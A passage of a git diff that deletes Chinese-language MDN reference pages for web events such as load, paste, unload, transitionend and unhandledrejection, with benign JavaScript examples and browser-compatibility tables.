  • {{domxref("HTMLElement/beforeinput_event", "beforeinput")}}
  • -
  • {{domxref("HTMLElement/change_event", "change")}}
  • -
  • {{domxref("HTMLInputElement/invalid_event", "invalid")}}
  • -
- -

此外,还有一个类似的 change 事件。change 触发的频率低于 input - 它只会在用户提交更改时触发。

- -

- -

diff --git a/files/zh-cn/web/events/load/index.html b/files/zh-cn/web/events/load/index.html deleted file mode 100644 index 5cfb7b075f..0000000000 --- a/files/zh-cn/web/events/load/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: load -slug: Web/Events/load -tags: - - load -translation_of: Web/API/Window/load_event ---- -

{{APIRef}}

- -

当整个页面及所有依赖资源如样式表和图片都已完成加载时,将触发load事件。

- -

它与{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}不同,后者只要页面DOM加载完成就触发,无需等待依赖资源的加载。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
能否取消
接口{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onload", "onload")}}
- -

用法

- -

当页面及资源完全加载后在控制台打印一段信息:

- -
window.addEventListener('load', (event) => {
-  console.log('page is fully loaded');
-});
- -

也可以使用onload实现:

- -
window.onload = (event) => {
-  console.log('page is fully loaded');
-};
- -

示例

- -

HTML

- -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
-
-reload.addEventListener('click', () => {
-  log.textContent ='';
-  window.setTimeout(() => {
-      window.location.reload(true);
-  }, 200);
-});
-
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
-});
-
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
-});
-
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
-});
-
-
- -

结果

- -

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-load', 'load')}}{{Spec2('UI Events')}}
{{SpecName('HTML WHATWG', '#delay-the-load-event', 'load event')}}{{Spec2('HTML WHATWG')}}此链接指向加载文档结束时执行步骤中的部分。“load”事件也会在许多元素上触发。 请注意,规范中有很多地方涉及到可以"延迟加载事件"的内容。
- -

浏览器兼容性

- - - -

{{Compat("api.Window.load_event")}}

- -

参阅

- -
    -
  • 相关事件: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • -
diff --git a/files/zh-cn/web/events/loadend/index.html b/files/zh-cn/web/events/loadend/index.html deleted file mode 100644 index 529a0b1673..0000000000 --- a/files/zh-cn/web/events/loadend/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: loadend -slug: Web/Events/loadend -translation_of: Web/API/XMLHttpRequest/loadend_event ---- -

loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

- -

General info

- -
-
规范
-
Progress
-
接口
-
ProgressEvent
-
可冒泡
-
-
可取消
-
-
触发对象
-
例如{{domxref("HTMLImageElement")}}
-
默认行为
-
-
- -

Properties

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
- - - -
    -
  • {{event("loadstart")}}
  • -
  • {{event("progress")}}
  • -
  • {{event("error")}}
  • -
  • {{event("abort")}}
  • -
  • {{event("load")}}
  • -
  • {{event("loadend")}}
  • -
- -

See also

- - diff --git a/files/zh-cn/web/events/loadstart/index.html b/files/zh-cn/web/events/loadstart/index.html deleted file mode 100644 index 60362dd94a..0000000000 --- a/files/zh-cn/web/events/loadstart/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: loadstart -slug: Web/Events/loadstart -tags: - - 事件 -translation_of: Web/API/XMLHttpRequest/loadstart_event ---- -

当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

- -

基本信息

- -
-
规范文档
-
Progress
-
接口
-
ProgressEvent
-
冒泡
-
No
-
可取消
-
No
-
目标
-
Element
-
默认动作
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
- -

相关事件

- -
    -
  • {{event("loadstart")}}
  • -
  • {{event("progress")}}
  • -
  • {{event("error")}}
  • -
  • {{event("abort")}}
  • -
  • {{event("load")}}
  • -
  • {{event("loadend")}}
  • -
- -

了解更多

- - diff --git a/files/zh-cn/web/events/message/index.html b/files/zh-cn/web/events/message/index.html deleted file mode 100644 index ccbd2d9859..0000000000 --- a/files/zh-cn/web/events/message/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: 'BroadcastChannel: message event' -slug: Web/Events/message -tags: - - 事件 - - 消息 - - 通信 -translation_of: Web/API/BroadcastChannel/message_event ---- -
{{APIRef}}
- -

当频道收到一条消息时,会在关联的 {{domxref('BroadcastChannel')}} 对象上触发 message 事件。

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("MessageEvent")}}
Event handler propertyonmessage
- -

示例

- -

实时示例

- -

在这个例子中,有一个 <iframe> 作为发送者,当用户点击按钮之后,会广播 <textarea> 中的内容。同时,有两个 <iframe> 作为接收者,会监听广播的消息,并将结果写入 <div> 元素。

- -

发送者

- - - -
const channel = new BroadcastChannel('example-channel');
-const messageControl = document.querySelector('#message');
-const broadcastMessageButton = document.querySelector('#broadcast-message');
-
-broadcastMessageButton.addEventListener('click', () => {
-    channel.postMessage(messageControl.value);
-})
-
- -

接收者 1

- - - -
const channel = new BroadcastChannel('example-channel');
-channel.addEventListener('message', (event) => {
-  received.textContent = event.data;
-});
- -

接收者 2

- - - -
const channel = new BroadcastChannel('example-channel');
-channel.addEventListener('message', (event) => {
-  received.textContent = event.data;
-});
- -

结果

- -

{{ EmbedLiveSample('发送者', '100%', '170px','' ,'' , 'dummy') }}

- -

{{ EmbedLiveSample('接收者_1', '100%', '150px','' ,'' , 'dummy') }}

- -

{{ EmbedLiveSample('接收者_2', '100%', '150px','' ,'' , 'dummy') }}

- -

规范

- - - - - - - - - - - - -
规范状态
{{SpecName('HTML WHATWG', 'indices.html#event-message')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.BroadcastChannel.message_event")}}

- -

相关信息

- - diff --git a/files/zh-cn/web/events/mousewheel/index.html b/files/zh-cn/web/events/mousewheel/index.html deleted file mode 100644 index 599f17edbb..0000000000 --- a/files/zh-cn/web/events/mousewheel/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: mousewheel -slug: Web/Events/mousewheel -translation_of: Web/API/Element/mousewheel_event ---- -

{{ Non-standard_header() }}

- -

The mousewheel event is fired asynchronously when a mouse wheel or similar device is operated. It's represented by the {{ domxref("MouseWheelEvent") }} interface.

- -
-

Do not use this wheel event.

- -

This interface is non-standard and deprecated. It was used in non-Gecko browsers only. Instead use the standard {{event("wheel")}} event.

-
- -
    -
  • Interface :{{ domxref('MouseWheelEvent') }}
  • -
  • Synchronicity :asynchronous
  • -
  • Bubbles : yes (Though, MSDN documents "No")
  • -
  • Target : {{ domxref("Element") }}, {{ domxref("Document") }}, {{ domxref("Window") }}
  • -
  • Cancelable : yes (Though, MSDN documents "No")
  • -
  • Default action : Scroll, moving history, or zooming in/out
  • -
- -

Specification

- -

The document in MSDN: {{ spec("http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx","onmousewheel event") }}

- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatIE("6.0") }}{{ CompatOpera("10.00") }}{{ CompatSafari("3.0") }}
wheelDeltaX{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
wheelDeltaY{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaX{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaY{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

detail value

- -

The detail attribute value is always 0 except Opera (Presto).

- -

Opera (Presto) sets almost the same value as Firefox (Gecko)'s DOMMouseScroll event's detail value which indicates the scroll amount by line. Negative value indicates to scroll to bottom or right. Positive value indicates to scroll to top or left.

- -

On Mac, the value is computed from accelerated scroll amount.

- -

On Linux, 2 or -2 is set per native wheel event.

- -

wheelDelta, wheelDeltaX and wheelDeltaY value

- -

The wheelDelta attribute value is an abstract value which indicates how far the wheel turned. If the wheel has rotated away from the user, it's positive, otherwise negative. This means that the delta value sign is different from DOM Level 3 Event's wheel. However, the meaning of the amount of these values is not the same between browsers. See following explanation for the detail.

- -

IE and Opera (Presto) only support wheelDelta attribute and do not support horizontal scroll.

- -

The wheelDeltaX attribute value indicates the wheelDelta attribute value along the horizontal axis. When a user operates the device for scrolling to right, the value is negative. Otherwise, i.e., if it's to left, the value is positive.

- -

The wheelDeltaY attribute value indicates the wheelDelta attribute value along the vertical axis. The sign of the value is the same as the wheelDelta attribute value.

- -

IE

- -

The value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. It means that if the mouse wheel doesn't support high resolution scroll, the value is 120 per notch. The value isn't changed even if the scroll amount of system settings is page scroll.

- -

Chrome

- -

On Windows, the value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. And also, the value isn't changed even if the scroll amount of system settings is page scroll, i.e., the value is the same as IE on Windows.

- -

On Linux, the value is 120 or -120 per native wheel event. This makes the same behavior as IE and Chrome for Windows.

- -

On Mac, the value is complicated. The value is changed if the device that causes the native wheel event supports continuous scroll.

- -

If the device supports continuous scroll (e.g., trackpad of MacBook or mouse wheel which can be turned smoothly), the value is computed from accelerated scroll amount. In this case, the value is the same as Safari.

- -

If the device does not support continuous scroll (typically, old mouse wheel which cannot be turned smoothly), the value is computed from non-accelerated scroll amount (120 per notch). In this case, the value is different from Safari.

- -

This difference makes a serious issue for web application developers. That is, web developers cannot know if mousewheel event is caused by which device.

- -

See WebInputEventFactory::mouseWheelEvent of the Chromium's source code for the detail.

- -

Safari

- -

The value is always computed from accelerated scroll amount. This is really different from other browsers except Chrome with continuous scroll supported device.

- -

Note: tested with the Windows package, the earliest available version was Safari 3.0 from 2007. It could be that earlier versions (on Mac) support the properties too.

- -

Opera (Presto)

- -

The value is always the detail attribute value ✕ 40.

- -

On Windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page.

- -

On Linux, the value is 80 or -80 per native wheel event. This is different from other browsers.

- -

On Mac, the detail attribute value is computed from accelerated scroll amout of native event. The value is usually much bigger than Safari's or Chrome's value.

- -

See also

- -
    -
  • {{ domxref("MouseWheelEvent") }}
  • -
  • Gecko's legacy mouse wheel events: DOMMouseScroll, MozMousePixelScroll
  • -
  • Standardized wheel event: wheel
  • -
diff --git a/files/zh-cn/web/events/pageshow/index.html b/files/zh-cn/web/events/pageshow/index.html deleted file mode 100644 index d0aec41716..0000000000 --- a/files/zh-cn/web/events/pageshow/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: pageshow -slug: Web/Events/pageshow -translation_of: Web/API/Window/pageshow_event ---- -

当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

- -

基本信息

- -
-
规范
-
HTML5
-
接口
-
PageTransitionEvent
-
事件冒泡
-
No
-
事件取消
-
No
-
事件源
-
Document (dispatched on Window)
-
默认操作
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
persisted {{readonlyInline}}{{jsxref("boolean")}}表示网页是否是来自缓存.
- -

示例

- -

以下示例将会在控制台打印由前进/后退按钮以及load事件触发后引起的pageshow事件:

- -
window.addEventListener('pageshow', function(event) {
-    console.log('after , pageshow :',event);
-});
-
-
-window.addEventListener('load', function() {
-    console.log('before');
-});
-
- - - - - -

不规范的写法,你同样可以将这个事件当做一个属性添加到body标签,类似于onload

- -
<body onload="myonload()" onpageshow="mypageshowcode()">
- -

浏览器兼容性

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("4")}}{{CompatGeckoDesktop("1.8")}}11155
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.3{{CompatUnknown()}}11355.1
- - -
- -

相关事件

- - diff --git a/files/zh-cn/web/events/paste/index.html b/files/zh-cn/web/events/paste/index.html deleted file mode 100644 index 1fb088eddf..0000000000 --- a/files/zh-cn/web/events/paste/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: 'Element: paste事件' -slug: Web/Events/paste -tags: - - Clipboard API - - Event - - Reference -translation_of: Web/API/Element/paste_event ---- -

 {{APIRef}}

- -

当用户在浏览器用户界面发起“粘贴”操作时,会触发paste事件。

- -
冒泡                 是
-
-可取消               是
-
-接口                 {{domxref("ClipboardEvent")}}
-
-事件处理属性          {{domxref("HTMLElement/onpaste", "onpaste")}}
-
- -

如果光标位于可编辑的上下文中(例如,在 {{HTMLElement("textarea")}} 或者 contenteditable 属性设置为 true的元素),则默认操作是将剪贴板的内容插入光标所在位置的文档中。

- -

事件处理程序可以通过调用事件的 clipboardData 属性上的 {{domxref("DataTransfer/getData", "getData()")}}访问剪贴板内容。

- -

要覆盖默认行为(例如,插入一些不同的数据或转换剪贴板的内容),事件处理程序必须使用 {{domxref("Event/preventDefault", "event.preventDefault()")}},取消默认操作,然后手动插入想要的数据。

- -

可以构造和分派合成的paste事件,但这不会影响文档内容。

- -

举例

- -

Live example

- -

HTML

- -
<div class="source" contenteditable="true">Try copying text from this box...</div>
-<div class="target" contenteditable="true">...and pasting it into this one</div>
- -

CSS

- -
div.source, div.target {
-    border: 1px solid gray;
-    margin: .5rem;
-    padding: .5rem;
-    height: 1rem;
-    background-color: #e9eef1;
-}
-
- -

JS

- -
const target = document.querySelector('div.target');
-
-target.addEventListener('paste', (event) => {
-    let paste = (event.clipboardData || window.clipboardData).getData('text');
-    paste = paste.toUpperCase();
-
-    const selection = window.getSelection();
-    if (!selection.rangeCount) return false;
-    selection.deleteFromDocument();
-    selection.getRangeAt(0).insertNode(document.createTextNode(paste));
-
-    event.preventDefault();
-});
-
- -

Result

- -

 {{EmbedLiveSample('Live_example', '100%', '100px')}}

- -

规范

- - - - - - - - - - - - - - -
规范状态
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Element.paste_event")}}

- -

另见

- -
    -
  • Related events: {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}
  • -
  • This event on {{domxref("Document")}} targets: {{domxref("Document/paste_event", "paste")}}
  • -
  • This event on {{domxref("Window")}} targets: {{domxref("Window/paste_event", "paste")}}
  • -
diff --git "a/files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" "b/files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" deleted file mode 100644 index a4f95498ad..0000000000 --- "a/files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: 'Document: readystatechange 事件' -slug: Web/Events/readystatechange事件 -tags: - - Reference - - XMLHttpRequest - - interactive - - 事件 -translation_of: Web/API/Document/readystatechange_event ---- -
{{APIRef}}
- -

当文档的 {{domxref("Document.readyState", "readyState")}} 属性发生改变时,会触发 readystatechange 事件。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("Event")}}
Event handler 属性onreadystatechange
- -

示例

- -

实时演示

- -

HTML

- -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
-
-reload.addEventListener('click', () => {
-  log.textContent ='';
-  window.setTimeout(() => {
-      window.location.reload(true);
-  }, 200);
-});
-
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
-});
-
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
-});
-
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
-});
-
-
- -

结果

- -

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
- -

浏览器兼容性

- - - -

{{Compat("api.Document.readystatechange_event")}}

- -

IE 浏览器是一直支持 readystatechange 事件的,可作为 DOMContentLoaded 事件的替代方法(参见Browser compatibility的注释 [2])。

- -

参见

- -
    -
  • {{event("DOMContentLoaded")}}
  • -
  • {{event("load")}}
  • -
  • {{event("beforeunload")}}
  • -
  • {{event("unload")}}
  • -
diff --git a/files/zh-cn/web/events/transitionend/index.html b/files/zh-cn/web/events/transitionend/index.html deleted file mode 100644 index f79db8503a..0000000000 --- a/files/zh-cn/web/events/transitionend/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: transitionend -slug: Web/Events/transitionend -translation_of: Web/API/HTMLElement/transitionend_event ---- -
{{APIRef}}
- -

transitionend 事件会在 CSS transition 结束后触发. 当transition完成前移除transition时,比如移除css的{{cssxref("transition-property")}} 属性,事件将不会被触发.如在transition完成前设置  {{cssxref("display")}} 为"none",事件同样不会被触发。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("TransitionEvent")}}
事件处理器属性{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
- -

transitionend 事件是双向触发的 - 当完成到转换状态的过渡,以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间,即两者的值都为0s或者都未声明, 则不发生过渡,并且任何过渡事件都不会触发。如果触发了 transitioncancel 事件,则transitionend 事件不会触发。

- -

- -
/*
- * 在指定的元素上监听transitionend事件, 例如#slidingMenu
- * 然后指定一个函数, 例如 showMessage()
- */
-function showMessage() {
-    console.log('Transition 已完成');
-}
-
-var element = document.getElementById("slidingMenu");
-element.addEventListener("transitionend", showMessage, false);
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}{{ Spec2('CSS3 Transitions') }}Initial definition.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]
- 36
{{CompatGeckoDesktop("2.0")}}1010.5[2]
- 12
- 12.10
- 23
3.2[1]
- 7.0.6
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}10[2]
- 12
- 12.10
3.2[1]
-
- -

[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 webkitTransitionEnd. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 transitionend.

- -

[2] 在 Opera 10.5 上实现oTransitionEnd,从版本12开始实现 otransitionend, 从版本12.10开始实现 transitionend.

- -

参考

- -
    -
  • The {{ domxref("TransitionEvent") }} interface and the transitionend event.
  • -
  • {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}.
  • -
diff --git a/files/zh-cn/web/events/unhandledrejection/index.html b/files/zh-cn/web/events/unhandledrejection/index.html deleted file mode 100644 index 9c3286aa44..0000000000 --- a/files/zh-cn/web/events/unhandledrejection/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: unhandledrejection -slug: Web/Events/unhandledrejection -tags: - - API - - JavaScript - - Promise - - unhandledrejection - - 事件 - - 参考 -translation_of: Web/API/Window/unhandledrejection_event ---- -
{{APIRef("HTML DOM")}}
- -

当{{jsxref("Promise")}} 被 reject 且没有 reject 处理器的时候,会触发 unhandledrejection 事件;这可能发生在 {{domxref("window")}} 下,但也可能发生在 {{domxref("Worker")}} 中。 这对于调试回退错误处理非常有用。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡No
是否可取消Yes
接口{{domxref("PromiseRejectionEvent")}}
事件处理器属性{{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}}
- -

使用备注

- -

unhandledrejection 继承自 {{domxref("PromiseRejectionEvent")}},而 {{domxref("PromiseRejectionEvent")}} 又继承自 {{domxref("Event")}}。因此unhandledrejection 含有 PromiseRejectionEventEvent 的属性和方法。

- -

例子

- -

Here we have a few examples showing ways you can make use of the unhandledrejection event. The event includes two useful pieces of information:

- -

我们将通过几个例子来展示 unhandledrejection 事件的使用方式。该事件主要包含两部分有用的信息:

- -
-
promise
-
The actual {{jsxref("Promise")}} which was rejected with no handler available to deal with the rejection.
-
特定的 {{jsxref("Promise")}} 被 reject 而没有被相应的异常处理方法所处理时
-
reason
-
The reason that would have been passed into the rejection handler if one had existed. See {{jsxref("Promise.catch", "catch()")}} for details.
-
将会传入异常处理方法中的错误原因(如果存在),查看 {{jsxref("Promise.catch", "catch()")}} 相关以获取更多细节。
-
- -

基本的异常上报

- -

此示例只是将有关未处理的 Promise rejection 信息打印到控制台。

- -
window.addEventListener("unhandledrejection", event => {
-  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
-});
-
- -

您还可以使用 {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} 事件处理程序属性来设置事件侦听器:

- -
window.onunhandledrejection = event => {
-  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
-};
-
- -

防止默认处理

- -

许多环境(例如 {{Glossary("Node.js")}} ) 默认情况下会向控制台打印未处理的 Promise rejections。您可以通过添加一个处理程序来防止 unhandledrejection 这种情况的发生,该处理程序除了您希望执行的任何其他任务之外,还可以调用 {{domxref("Event.preventDefault()", "preventDefault()")}} 来取消该事件,从而防止该事件冒泡并由运行时的日志代码处理。这种方法之所以有效,是因为 unhandledrejection 是可以取消的。

- -
window.addEventListener('unhandledrejection', function (event) {
-  // ...您的代码可以处理未处理的拒绝...
-
-  // 防止默认处理(例如将错误输出到控制台)
-
-  event.preventDefault();
-});
-
- -

说明

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'unhandledrejection')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.Window.unhandledrejection_event")}}

- -

参考

- -
    -
  • {{SectionOnPage("/en-US/docs/Web/JavaScript/Guide/Using_promises", "Promise rejection events")}}
  • -
  • {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} event handler property1
  • -
  • {{Event("rejectionhandled")}}
  • -
  • {{domxref("Promise")}}
  • -
- -

[1] The corresponding event handler property is defined on the {{domxref("WindowEventHandlers")}} mixin, which is available on both the {{domxref("Window")}} interface and all types of {{domxref("Worker")}} interfaces.

diff --git a/files/zh-cn/web/events/unload/index.html b/files/zh-cn/web/events/unload/index.html deleted file mode 100644 index 2510b1f651..0000000000 --- a/files/zh-cn/web/events/unload/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: unload -slug: Web/Events/unload -tags: - - Window - - events - - unload -translation_of: Web/API/Window/unload_event ---- -

{{APIRef}}

- -

当文档或一个子资源正在被卸载时, 触发 unload事件。

- - - - - - - - - - - - - - - - - - - - -
可冒泡(Bubbles)No
可取消(Cancelable)No
接口(Interface){{domxref("Event")}}
事件处理程序属性(Event handler property){{domxref("WindowEventHandlers/onunload", "onunload")}}
- -

它在下面两个事件后被触发:

- -
    -
  1. beforeunload (可取消默认行为的事件)
  2. -
  3. pagehide
  4. -
- -

文档处于以下状态:

- -
    -
  • 所有资源仍存在 (图片, iframe 等.)
  • -
  • 对于终端用户所有资源均不可见
  • -
  • 界面交互无效 (window.open, alert, confirm 等.)
  • -
  • 错误不会停止卸载文档的过程
  • -
- -

请注意unload事件也遵循文档树:父iframe会在子iframe卸载前卸载(参考下面的例子).

- -

示例

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Parent Frame</title>
-    <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('I am the 1st one.');
-      });
-      window.addEventListener('unload', function(event) {
-        console.log('I am the 3rd one.');
-      });
-    </script>
-  </head>
-  <body>
-    <iframe src="child-frame.html"></iframe>
-  </body>
-</html>
- -

下面是 child-frame.html的内容:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Child Frame</title>
-    <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('I am the 2nd one.');
-      });
-      window.addEventListener('unload', function(event) {
-        console.log('I am the 4th and last one…');
-      });
-    </script>
-  </head>
-  <body>
-      ☻
-  </body>
-</html>
- -

当父iframe被卸载,事件将按console.log() 消息描述的顺序触发。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态描述
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Window.unload_event")}}

- -

参见

- -
    -
  • 相关事件: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}
  • -
  • Unloading Documents — unload a document
  • -
diff --git "a/files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" "b/files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" deleted file mode 100644 index 6a63ab9d5e..0000000000 --- "a/files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: progress event -slug: Web/Events/进度条 -tags: - - API - - Event - - Reference - - Web - - XMLHttpRequest - - progress -translation_of: Web/API/XMLHttpRequest/progress_event ---- -

{{APIRef}}

- -

progress事件会在请求接收到数据的时候被周期性触发。

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}}
- -

示例

- -

Live example

- -

HTML

- -
<div class="controls">
